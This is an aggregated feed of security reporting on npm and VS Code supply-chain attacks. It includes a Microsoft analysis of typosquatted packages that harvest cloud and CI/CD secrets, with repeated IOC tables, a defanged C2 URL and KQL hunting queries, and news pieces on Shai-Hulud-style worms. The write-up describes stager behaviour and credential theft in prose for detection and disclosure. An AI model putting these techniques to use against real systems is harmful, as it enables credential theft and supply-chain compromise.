vpmdhaj-opensearch-setup (1.0.9102)PackageUnscoped – author-named OpenSearch setup
env-config-manager (2.1.9201)PackageTyposquat – dotenv-style config manager
app-config-utility (1.0.9300)PackageTyposquat – generic app config utility

Actor, network, and file IOCs

IndicatorTypeDescription
vpmdhajnpm maintainer aliasThreat actor publishing all 14 packages
a39155771@gmail.comEmailMaintainer contact email registered on npm
aab.sportsontheweb[.]netDomainStage-1 C2 (Gen-1 packages)
hxxp://aab.sportsontheweb[.]net/x.phpURLBeacon + stage-2 payload endpoint (port 80)
X-Supply: 1HTTP headerCampaign-unique marker – high-confidence proxy detection
169.254.169.254IPAWS EC2 IMDSv2 endpoint queried by stage-2
169.254.170.2IPAWS ECS task metadata endpoint queried by stage-2
638788AFC4F1B5860A328312CAF5895ABD5F5632D28A4F2A85B09076E270D15DSHA-256preinstall.js (Gen-1 stager)
77D92EFE7AF3547F71FD41D4A884872D66B1BE9499EAA637E91EAC866911694DSHA-256setup.mjs (Gen-2 stager)
BFA149694EC6411C23936311A999163ADE54D6F38E2F4B0E3CFB8CB67BD7CFAASHA-256payload.gz (gzipped Bun stage-2)
opensearch_init.jsFilenameBun-compiled stage-2 credential harvester (~195 KB)
ai_init.jsFilenameAlternate stage-2 filename used by some Gen-2 packages
payload.binFilenameDropped stage-2 binary in node_modules install dir
__DAEMONIZED=1Env varMarker set by stager when spawning detached payload

References

  • https://www.npmjs.com/~vpmdhaj  –  npm maintainer profile (all 14 packages)
  • https://www.npmjs.com/package/@vpmdhaj/elastic-helper
  • https://www.npmjs.com/package/@vpmdhaj/devops-tools
  • https://docs.npmjs.com/cli/v10/using-npm/scripts  –  npm lifecycle scripts documentation
  • https://bun.sh  –  Bun runtime (abused by Gen-2 stager as a loader)
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-use-IMDSv2.html  –  IMDSv2 hardening guidance

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Typosquatted npm packages used to steal cloud and CI/CD secrets appeared first on Microsoft Security Blog.

Typosquatted npm packages used to steal cloud and CI/CD secrets

Microsoft has identified an active supply chain attack targeting the npm package ecosystem. On May 28, 2026, a single threat actor operating under the newly created maintainer alias vpmdhaj (a39155771@gmail[.]com) published 14 malicious packages within a four-hour window. The packages typosquat well-known OpenSearch, ElasticSearch, DevOps, and environment-configuration libraries, and several spoof the upstream OpenSearch project’s repository URL in their package.json to appear legitimate. Once installed, the packages harvest AWS credentials, HashiCorp Vault tokens, and CI/CD pipeline secrets from the host environment.

All packages in the cluster ship the same install-time stager and the same Bun-compiled second-stage payload – a ~195 KB credential harvester purpose-built for cloud and CI/CD environments. The payload runs silently during npm install and targets credentials across Amazon Web Services, HashiCorp Vault, GitHub Actions, and the npm registry itself, enabling both cloud lateral movement and downstream supply-chain pivoting through stolen npm publish tokens. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution via npm lifecycle hooks, two distinct stager generations (an HTTP-C2 variant and a stealthier variant that abuses the legitimate Bun runtime distribution), AWS Instance Metadata Service (IMDSv2) and ECS task-role theft, AWS Secrets Manager enumeration across 16+ regions, HashiCorp Vault token harvesting, and theft of npm publish tokens for follow-on supply-chain attacks.

Attack chain overview

The vpmdhaj cluster spans 14 scoped and unscoped packages that all mimic the @opensearch / @elastic ecosystem. The attack proceeds through:

  • Publication of 14 typosquat packages under a single actor identity
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain (Gen-1): node -> preinstall.js -> HTTP C2 -> payload.bin (detached)
  • Execution chain (Gen-2): node -> setup.mjs -> download legitimate Bun runtime -> run bundled stage-2
  • Cloud credential theft (AWS IMDS, ECS metadata, Vault, Secrets Manager) and npm publish-token theft for downstream supply-chain pivot
Figure 1. vpmdhaj npm supply chain attack flow.

The lure: typosquats and spoofed metadata

The actor adopted three social-engineering techniques designed to drive installs by mistake or trust transference. First, lookalike naming – names such as opensearch-setup, opensearch-setup-tool, opensearch-config-utility, elastic-opensearch-helper, search-engine-setup, and env-config-manager mimic well-known cluster-management and configuration libraries. Second, spoofed upstream metadata – every unscoped package sets its package.json homepage, repository, and bugs fields to the legitimate github.com/opensearch-project/opensearch-js project. Third, inflated version numbers – releases jump straight to 1.0.7265, 1.0.9108, or 2.1.9201 to suggest a long, mature release history.

Figure 2. npm.js package page for @vpmdhaj/elastic-helper showing the inflated 1.0.7269 version and the spoofed OpenSearch repository link.

Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json. The malicious code executes the moment a victim runs npm install – no require() from victim code is needed. Two stager variants were observed:

  • Gen-1 (versions <= 1.0.7265): install, preinstall, and postinstall hooks all invoke preinstall.js / index.js
  • Gen-2 (versions >= 1.0.7266): a single preinstall hook invokes setup.mjs (newer, stealthier loader)
Figure 3. The malicious package.json. A single preinstall hook is enough to gain code execution on every npm install.

Gen-1 stager: HTTP C2 beacon and payload drop

preinstall.js collects rich host context – hostname, platform, arch, Node version, USER/USERNAME, cwd, INIT_CWD, npm_package_name, npm_package_version – base64-encodes the JSON, and POSTs it to the actor’s C2 with a campaign-unique header X-Supply: 1. The same C2 endpoint then serves a gunzip-compressed second-stage binary, which is written to payload.bin in the package install directory, chmod 0755’d, and spawned detached.

Figure 4. Stage-1 C2 beacon. The X-Supply: 1 header is a high-confidence detection signal in proxy logs.
Figure 5. Stage-2 download, decompression, +x, and detached spawn. __DAEMONIZED=1 lets the payload distinguish itself from npm.

The package’s index.js re-launches the same payload.bin on every subsequent require() of the module – a quiet persistence mechanism that survives across CI build stages and developer rebuild loops. The module also exports a benign-looking object falsely identifying itself as @opensearch/setup.

Figure 6. Persistence shim. The malicious module exports benign-looking metadata and silently re-spawns the payload every time it is require()’d.

Gen-2 stager: abusing the legitimate Bun runtime as a loader

In newer versions, the actor replaced the noisy HTTP-C2 design with a stealthier loader that eliminates the install-time C2 round-trip entirely. setup.mjs (a) checks whether bun is already present on the host; (b) if not, downloads the legitimate Bun runtime v1.3.13 from github.com/oven-sh/bun/releases for the correct platform/arch (Linux x64/musl/aarch64, macOS x64/arm64, Windows x64/arm64); (c) extracts the ZIP using unzip, PowerShell Expand-Archive, or a hand-rolled ZIP parser; and (d) executes the pre-bundled second-stage payload (opensearch_init.js or ai_init.js) that ships inside the npm tarball.

This design reduces visibility for defenders that primarily monitor unusual outbound traffic during package installation.

Figure 7. Gen-2 loader. The actor abuses a legitimate GitHub Release of the Bun runtime to execute a pre-bundled payload that ships inside the npm tarball.

Credential theft

The second-stage binary is a single-file Bun-compiled JavaScript binary of approximately 195 KB, purpose-built for cloud and CI/CD secret theft. Static review of the bundle identifies routines that target secrets across five platforms:

  • AWS: queries EC2 Instance Metadata Service v2 (169.254.169[.]254), Elastic Container Service task metadata (169.254.170[.]2), reads AWS env credentials, calls STS GetCallerIdentity / AssumeRole, and enumerates Secrets Manager (ListSecrets / GetSecretValue) across 16+ regions with a bundled SigV4 signer.
  • HashiCorp Vault: reads VAULT_TOKEN and VAULT_AUTH_TOKEN environment variables.
  • npm: validates tokens through /-/whoami and enumerates publish access through /-/npm/v1/tokens.
  • GitHub Actions: collects GITHUB_REPOSITORY and RUNNER_OS context to identify build environments for prioritized exploitation.
  • CI/CD environment: respects __DAEMONIZED=1 to avoid re-entry, and explicitly resets CI=false to mislead build-aware code paths.
Figure 8. String evidence from the Bun-compiled stage-2 payload. The same binary is dropped by both Gen-1 and Gen-2 stagers.

Impact and blast radius

  • Stolen AWS STS sessions and Secrets Manager material enable cloud lateral movement and data theft.
  • Stolen GitHub Actions tokens enable repo manipulation and CI/CD pipeline tampering.
  • Stolen npm publish tokens enable downstream supply-chain pivoting – pushing malicious updates to packages owned by hijacked maintainer identities, expanding the campaign beyond the initial 14 packages.
  • All 14 packages target the OpenSearch / ElasticSearch ecosystem keywords, suggesting the actor likely chose a developer audience to have AWS and Elastic cloud credentials in their environments.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Identify systems that installed or built affected package versions on or after May 28, 2026.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by running npm install with –ignore-scripts (or setting npm config set ignore-scripts true globally). Apply equivalent settings for pnpm and yarn.
  • Rotate AWS IAM/STS, HashiCorp Vault, npm publish, and GitHub Actions tokens that may have been exposed to affected runners or developer workstations.
  • Block egress to aab.sportsontheweb[.]net at proxy, firewall, and DNS layers. Alert on any HTTP request carrying the header X-Supply: 1.
  • Hunt CloudTrail for anomalous sts:GetCallerIdentity rapidly followed by sts:AssumeRole, and for secretsmanager:ListSecrets or GetSecretValue in cross-region succession from build infrastructure or developer IP space.
  • Audit CI/CD logs for unexpected outbound network connections, Bun runtime downloads from GitHub Releases by Node.js processes, and detached child processes spawned with __DAEMONIZED=1.
  • Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for the affected packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the malicious components on access. During reproduction in our analysis environment, setup.mjs was automatically quarantined the moment the tarball was extracted to disk.

Figure 9. Microsoft Defender auto-quarantine of setup.mjs at extract time.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial Access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
  -Trojan:JS/ShaiWorm
  -Trojan:JS/ObfusNpmJs
  -Backdoor:JS/SupplyChain

Microsoft Defender for Endpoint
  – Suspicious usage of Bun runtime
  – Suspicious installation of Bun runtime
  – Suspicious Node.js process behavior

Microsoft Defender XDR
  – Suspicious file creation in temporary directory by node.exe
  – Suspicious Bun execution from Node.js process
Credential AccessPotential harvesting of AWS, Vault, GitHub Actions, and npm tokens from CI/CD runnersMicrosoft Defender for Endpoint
  – Credential access attempt
  – Suspicious cloud credential access by npm-cached binary
  – AWS Instance Metadata Service access from suspicious process

Microsoft Defender for Cloud
  – Possible IMDS abuse from container workload
  – Anomalous Secrets Manager enumeration across regions
Command and ControlOutbound HTTP beacon with X-Supply: 1 header to attacker-controlled C2Microsoft Defender for Endpoint
  – Connection to a custom network indicator (aab.sportsontheweb[.]net)
  – Suspicious outbound HTTP from npm install context
PersistenceRe-spawn of payload.bin on every require() of compromised packageMicrosoft Defender for Endpoint
  – Detached child process spawned by node.exe with __DAEMONIZED=1

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving vpmdhaj packages.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any (
    "@vpmdhaj", "opensearch-setup", "opensearch-setup-tool",
    "opensearch-config-utility", "opensearch-security-scanner",
    "search-engine-setup", "search-cluster-setup",
    "elastic-opensearch-helper", "vpmdhaj-opensearch-setup",
    "env-config-manager", "app-config-utility")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for the stage-2 payload artifact on disk.

DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName =~ "payload.bin"
| where FolderPath has "node_modules"
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for detached payload execution with the campaign environment marker.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "__DAEMONIZED=1"
   or InitiatingProcessCommandLine has "__DAEMONIZED=1"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for Gen-2 loader: Bun runtime download from GitHub Releases by Node.js.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where RemoteUrl has "github.com/oven-sh/bun/releases/download"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for C2 beacon to attacker infrastructure.

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "aab.sportsontheweb.net"
   or RemoteUrl has "sportsontheweb.net"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for AWS IMDS / ECS metadata access from Node.js processes.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node.exe", "node", "bun.exe", "bun")
| where RemoteIP in ("169.254.169.254", "169.254.170.2")
| project Timestamp, DeviceName, RemoteIP, RemoteUrl,
          InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Indicators of Compromise (IOC)

Affected npm packages – all published by maintainer vpmdhaj on 2026-05-28:

IndicatorTypeDescription
@vpmdhaj/elastic-helper (1.0.7269)PackageTyposquat – ElasticSearch/OpenSearch helper
@vpmdhaj/devops-tools (1.0.7267)PackageTyposquat – DevOps tools / OpenSearch setup
@vpmdhaj/opensearch-setup (1.0.7267)PackageTyposquat – OpenSearch setup utility
@vpmdhaj/search-setup (1.0.7268)PackageTyposquat – search engine setup
opensearch-security-scanner (1.0.10)PackageUnscoped lookalike – security scanner
opensearch-setup (1.0.9103)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-setup-tool (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
opensearch-config-utility (1.0.9106)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-engine-setup (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
search-cluster-setup (1.0.9104)PackageUnscoped lookalike – spoofs opensearch-project repo URL
elastic-opensearch-helper (1.0.9108)PackageUnscoped lookalike – spoofs opensearch-project repo URL
vpmdhaj-opensearch-setup (1.0.9102)PackageUnscoped – author-named OpenSearch setup
env-config-manager (2.1.9201)PackageTyposquat – dotenv-style config manager
app-config-utility (1.0.9300)PackageTyposquat – generic app config utility

Actor, network, and file IOCs

IndicatorTypeDescription
vpmdhajnpm maintainer aliasThreat actor publishing all 14 packages
a39155771@gmail.comEmailMaintainer contact email registered on npm
aab.sportsontheweb[.]netDomainStage-1 C2 (Gen-1 packages)
hxxp://aab.sportsontheweb[.]net/x.phpURLBeacon + stage-2 payload endpoint (port 80)
X-Supply: 1HTTP headerCampaign-unique marker – high-confidence proxy detection
169.254.169.254IPAWS EC2 IMDSv2 endpoint queried by stage-2
169.254.170.2IPAWS ECS task metadata endpoint queried by stage-2
638788AFC4F1B5860A328312CAF5895ABD5F5632D28A4F2A85B09076E270D15DSHA-256preinstall.js (Gen-1 stager)
77D92EFE7AF3547F71FD41D4A884872D66B1BE9499EAA637E91EAC866911694DSHA-256setup.mjs (Gen-2 stager)
BFA149694EC6411C23936311A999163ADE54D6F38E2F4B0E3CFB8CB67BD7CFAASHA-256payload.gz (gzipped Bun stage-2)
opensearch_init.jsFilenameBun-compiled stage-2 credential harvester (~195 KB)
ai_init.jsFilenameAlternate stage-2 filename used by some Gen-2 packages
payload.binFilenameDropped stage-2 binary in node_modules install dir
__DAEMONIZED=1Env varMarker set by stager when spawning detached payload

References

  • https://www.npmjs.com/~vpmdhaj  –  npm maintainer profile (all 14 packages)
  • https://www.npmjs.com/package/@vpmdhaj/elastic-helper
  • https://www.npmjs.com/package/@vpmdhaj/devops-tools
  • https://docs.npmjs.com/cli/v10/using-npm/scripts  –  npm lifecycle scripts documentation
  • https://bun.sh  –  Bun runtime (abused by Gen-2 stager as a loader)
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-use-IMDSv2.html  –  IMDSv2 hardening guidance

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Typosquatted npm packages used to steal cloud and CI/CD secrets appeared first on Microsoft Security Blog.

GitHub says internal repositories were impacted in poisoned VS Code extension attack

By: Greg Otto
20 May 2026 at 10:48

GitHub said late Tuesday that internal repositories were exfiltrated after an employee device was compromised through a poisoned Visual Studio Code extension, an incident that underscores the growing risks facing software development platforms and the ecosystems built around third-party developer tools.

The Microsoft-owned company said in posts on X that it detected and contained the compromise, removed the malicious extension version, isolated the affected endpoint and began an incident response investigation. The company’s current assessment is that the activity involved GitHub-internal repositories only.

GitHub also said a claim from TeamPCP, a hacking group behind attacks targeting software development packages, that 3,800 repositories were impacted was “directionally consistent” with its investigation so far. It said critical secrets were rotated Tuesday, with the highest-impact credentials prioritized first. The company said it continued to analyze logs, validate secret rotation and monitor for follow-on activity.

The company has not publicly named the extension involved or attributed the activity to a particular group. TeamPCP reportedly advertised the material for sale on a cybercrime forum and threatened to release it if no buyer emerged. 

Information surfaced Wednesday that the incident may be related to a separate issue with Nx Console, a Visual Studio Code tool that helps engineering teams organize large codebases, coordinate build pipelines and run tests efficiently. According to a security advisory posted on GitHub, one of the Nx Console maintainers was compromised in a prior security incident that leaked their GitHub credentials. An attack then used those credentials to push a malicious version of the extension to the VS Code Marketplace. Those credentials have since been temporarily revoked.

With millions of installs, Nx Console is a fixture of professional JavaScript development. It is exactly the kind of tool that sits deep inside a developer’s working environment, which would have direct access to source code, credentials and build systems.

NX CEO Jeff Cross posted on X Wednesday that his company has been working with Microsoft to determine the full scope of the incident.

“Initially, Microsoft indicated to us that there were 28 installs of the malicious version 18.95.0. Based on our own analytics for the compromised version, we currently believe the number of users who received the malicious package may be significantly higher; potentially over 6k installs,” the post reads.

“This is my top priority right now,” Cross continued. “Our team has been, and continues to be focused on understanding exactly what happened, helping affected users, hardening our systems and release processes, and being as transparent as possible throughout the investigation.”

The episode also follows a series of supply chain attacks involving npm, PyPI, Docker and other developer ecosystems. In those incidents, attackers have often targeted maintainers, packages or credentials rather than attacking end users directly. The multiple attacks show how fragile development environments have become as threat actors increasingly target them. A single compromised developer account, package, extension or build process can create access to many downstream systems.

GitHub has said it has no evidence that customer data stored outside the affected repositories was affected.

Visual Studio Code extensions are widely used by developers to add functions to Microsoft’s code editor, including support for programming languages, testing tools, cloud services and artificial intelligence assistants. Because these extensions often operate inside development environments, a malicious or compromised extension can be positioned close to source code, credentials and build systems.

“The thing people underestimate about VS Code extensions is that they have full access to everything on the developer’s machine,” Charlie Eriksen, a security researcher at Aikido Security, told CyberScoop. “EDR doesn’t cover this layer at all. What’s missing for most organisations is any kind of visibility into what’s actually running on developer machines and the ability to control it.”

Trojanized extensions have appeared in the VS Code Marketplace before. Security researchers have identified malicious extensions posing as legitimate development tools, including packages used to steal credentials, mine cryptocurrency or exfiltrate data. Some have accumulated large installation counts before removal, reflecting the difficulty of policing open plugin ecosystems at scale.

For GitHub, the breach comes amid broader scrutiny of the security of developer infrastructure. The platform sits at the center of software production for companies, governments, open-source maintainers and independent developers. Its internal systems and code are of obvious interest to attackers because GitHub’s services support code hosting, package distribution, automation and identity workflows across much of the software industry.

GitHub said it would publish a fuller report when the investigation is complete.

Update: May 20, 12:55 p.m.: This story has been updated with information about a related security incident with Nx Console.

The post GitHub says internal repositories were impacted in poisoned VS Code extension attack appeared first on CyberScoop.

‘Mini Shai-Hulud’ malware compromises hundreds of open-source packages in sprawling supply-chain attack

By: Greg Otto
12 May 2026 at 17:38

A rapidly spreading malware campaign has infected hundreds of software packages across major open-source registries, embedding credential-stealing code into development tools downloaded millions of times a week.

The attack, referred to as “mini Shai-Hulud,” targeted prominent software libraries, including TanStack, UiPath, and MistralAI. TanStack’s React Router package alone accounts for more than 12 million weekly downloads, placing the malicious code deep within the software supply chain of modern enterprise applications.

In a blog post, Tanstack said security teams have pulled all compromised software versions from the registry. While there is no evidence that registry passwords were stolen, experts urge anyone who downloaded the affected tools Monday to immediately change all connected cloud, server, and developer credentials — including Amazon Web Services, Google Cloud, and GitHub.

The incident highlights a systemic vulnerability in automated software publishing. The compromised updates successfully bypassed two-factor authentication and carried cryptographically valid provenance signatures. These signatures verified that the packages originated from the correct continuous integration pipelines, but failed to detect that the pipelines themselves had been manipulated to authorize malicious code.

Security researchers attribute the campaign to TeamPCP, a cloud-focused cybercriminal group that emerged in late 2025 that specializes in automating supply-chain attacks and exploiting cloud-native infrastructure, including Docker and Kubernetes environments. The group, alleged to be responsible for earlier development of Shai Hulud, quietly slips their malware into trusted software updates, allowing them to infect thousands of companies at once without triggering security alarms. 

The group is notorious for its advanced ability to hide its tracks — such as disguising stolen data as anonymous messaging traffic — and its aggressive extortion tactics, which include threatening to completely erase victims’ computers if they attempt to remove the hackers’ access.

Attackers triggered the automated release process using an “orphaned commit” — code pushed to a repository fork without a corresponding branch. This allowed them to exploit overly broad permissions in GitHub Actions workflows. The malware was then delivered via a concealed dependency that fetched a heavily obfuscated 2.3-megabyte payload disguised as an initialization module.

Upon execution, the malware uses Bun — a high-speed software engine designed to run JavaScript — to systematically steal security keys and passwords. It targets high-level cloud infrastructure, including AWS, Google Cloud Platform, Kubernetes, and HashiCorp Vault. The code is engineered to infiltrate highly secure Amazon cloud networks. At the same time, it scours the developer’s local computer for secret files and SSH keys used to unlock other corporate systems.

Operating as a self-propagating worm, it publishes copies of itself to those projects, spoofing its activity to appear as automated commits from the Anthropic Claude bot. In a secondary extortion measure, the malware generates a new registry token containing a ransom note in its description, threatening a destructive computer wipe if the victim attempts to revoke the compromised access.

Despite the malware’s properties, researchers told CyberScoop they have not seen it spread. 

“We saw very limited community spread,” said Charlie Eriksen, a security researcher with application security firm Aikido Security.

To maintain continuous access to developer workstations, the malware embeds itself into the configuration files of popular developer tools, notably Visual Studio Code and Anthropic’s Claude Code. This ensures the malicious scripts execute automatically every time a developer opens a project or initiates an AI coding session.

Stephen Thoemmes, senior developer advocate at Snyk, told CyberScoop this is a particular blind spot for these types of attacks. 

“Directories like .claude/ and .vscode/ are typically excluded from version control via .gitignore and are rarely scrutinized as viable attack surfaces,” Thoemmes said. “While these hook and task systems provide valuable automation for legitimate work, they offer a silent execution environment for malicious code. To counter this, developers must move away from treating these local configurations as benign and begin applying the same rigorous security auditing to their tooling directories as they would to their production infrastructure.”

To avoid detection, the stolen data is exfiltrated using Session — an anonymous messaging app that bounces data across a decentralized network. By disguising the theft as ordinary, encrypted chat traffic, the hackers blend in with normal network activity. This allows the attackers to completely ditch the traditional “command” servers that corporate security teams usually hunt for and block.

The success of the “Mini Shai-Hulud” campaign exposes a major blind spot in software security: Current defenses check where an update comes from, but not if the code inside is actually safe. By hijacking the developers’ own automated systems, attackers were able to stamp their malware with official digital signatures — proving that attackers can bypass modern safeguards simply by turning a company’s own tools against them.

Socket CEO Feross Aboukhadijeh told CyberScoop that organizations should look for signs that a compromised package version was installed in CI/CD or developer environments, unexpected outbound connections to campaign infrastructure, suspicious changes in package lockfiles, unusual package publishes from their own maintainers or CI systems, and persistence artifacts in developer tooling directories. 

“There is no single centralized kill switch for this kind of campaign,” Aboukhadjieh said. “The hard part is that by the time a malicious package is confirmed, it may already have been installed inside the exact environments attackers want most: developer machines and CI runners. You can pull a package from the registry, but you cannot automatically pull back the credentials it may have already stolen.”

While these packages are maintained by volunteers, Eriksen said the incident is a huge issue for enterprises due to how many development teams use the software in their products and services. 

“This is not a ‘volunteer’ vs corporate thing,” Eriksen told CyberScoop. “This is an all-of-society problem.”

Aboukhadjieh told CyberScoop that these continuing attacks on popular open-source software packages is part of “a larger reckoning over how the software industry consumes open source.”

“This campaign shows how thin the line has become between a developer tool and critical infrastructure,” he said. “When attackers compromise tools that are already trusted inside build systems, they do not have to break into every company directly. They can ride the trust those tools already have.”


The post ‘Mini Shai-Hulud’ malware compromises hundreds of open-source packages in sprawling supply-chain attack appeared first on CyberScoop.

Self-Replicating Worm Hits 180+ Software Packages

16 September 2025 at 10:08

At least 187 code packages made available through the JavaScript repository NPM have been infected with a self-replicating worm that steals credentials from developers and publishes those secrets on GitHub, experts warn. The malware, which briefly infected multiple code packages from the security vendor CrowdStrike, steals and publishes even more credentials every time an infected package is installed.

Image: https://en.wikipedia.org/wiki/Sandworm_(Dune)

The novel malware strain is being dubbed Shai-Hulud — after the name for the giant sandworms in Frank Herbert’s Dune novel series — because it publishes any stolen credentials in a new public GitHub repository that includes the name “Shai-Hulud.”

“When a developer installs a compromised package, the malware will look for a npm token in the environment,” said Charlie Eriksen, a researcher for the Belgian security firm Aikido. “If it finds it, it will modify the 20 most popular packages that the npm token has access to, copying itself into the package, and publishing a new version.”

At the center of this developing maelstrom are code libraries available on NPM (short for “Node Package Manager”), which acts as a central hub for JavaScript development and provides the latest updates to widely-used JavaScript components.

The Shai-Hulud worm emerged just days after unknown attackers launched a broad phishing campaign that spoofed NPM and asked developers to “update” their multi-factor authentication login options. That attack led to malware being inserted into at least two-dozen NPM code packages, but the outbreak was quickly contained and was narrowly focused on siphoning cryptocurrency payments.

Image: aikido.dev

In late August, another compromise of an NPM developer resulted in malware being added to “nx,” an open-source code development toolkit with as many as six million weekly downloads. In the nx compromise, the attackers introduced code that scoured the user’s device for authentication tokens from programmer destinations like GitHub and NPM, as well as SSH and API keys. But instead of sending those stolen credentials to a central server controlled by the attackers, the malicious nx code created a new public repository in the victim’s GitHub account, and published the stolen data there for all the world to see and download.

Last month’s attack on nx did not self-propagate like a worm, but this Shai-Hulud malware does and bundles reconnaissance tools to assist in its spread. Namely, it uses the open-source tool TruffleHog to search for exposed credentials and access tokens on the developer’s machine. It then attempts to create new GitHub actions and publish any stolen secrets.

“Once the first person got compromised, there was no stopping it,” Aikido’s Eriksen told KrebsOnSecurity. He said the first NPM package compromised by this worm appears to have been altered on Sept. 14, around 17:58 UTC.

The security-focused code development platform socket.dev reports the Shai-Halud attack briefly compromised at least 25 NPM code packages managed by CrowdStrike. Socket.dev said the affected packages were quickly removed by the NPM registry.

In a written statement shared with KrebsOnSecurity, CrowdStrike said that after detecting several malicious packages in the public NPM registry, the company swiftly removed them and rotated its keys in public registries.

“These packages are not used in the Falcon sensor, the platform is not impacted and customers remain protected,” the statement reads, referring to the company’s widely-used endpoint threat detection service. “We are working with NPM and conducting a thorough investigation.”

A writeup on the attack from StepSecurity found that for cloud-specific operations, the malware enumerates AWS, Azure and Google Cloud Platform secrets. It also found the entire attack design assumes the victim is working in a Linux or macOS environment, and that it deliberately skips Windows systems.

StepSecurity said Shai-Hulud spreads by using stolen NPM authentication tokens, adding its code to the top 20 packages in the victim’s account.

“This creates a cascading effect where an infected package leads to compromised maintainer credentials, which in turn infects all other packages maintained by that user,” StepSecurity’s Ashish Kurmi wrote.

Eriksen said Shai-Hulud is still propagating, although its spread seems to have waned in recent hours.

“I still see package versions popping up once in a while, but no new packages have been compromised in the last ~6 hours,” Eriksen said. “But that could change now as the east coast starts working. I would think of this attack as a ‘living’ thing almost, like a virus. Because it can lay dormant for a while, and if just one person is suddenly infected by accident, they could restart the spread. Especially if there’s a super-spreader attack.”

For now, it appears that the web address the attackers were using to exfiltrate collected data was disabled due to rate limits, Eriksen said.

Nicholas Weaver is a researcher with the International Computer Science Institute, a nonprofit in Berkeley, Calif. Weaver called the Shai-Hulud worm “a supply chain attack that conducts a supply chain attack.” Weaver said NPM (and all other similar package repositories) need to immediately switch to a publication model that requires explicit human consent for every publication request using a phish-proof 2FA method.

“Anything less means attacks like this are going to continue and become far more common, but switching to a 2FA method would effectively throttle these attacks before they can spread,” Weaver said. “Allowing purely automated processes to update the published packages is now a proven recipe for disaster.”

❌
❌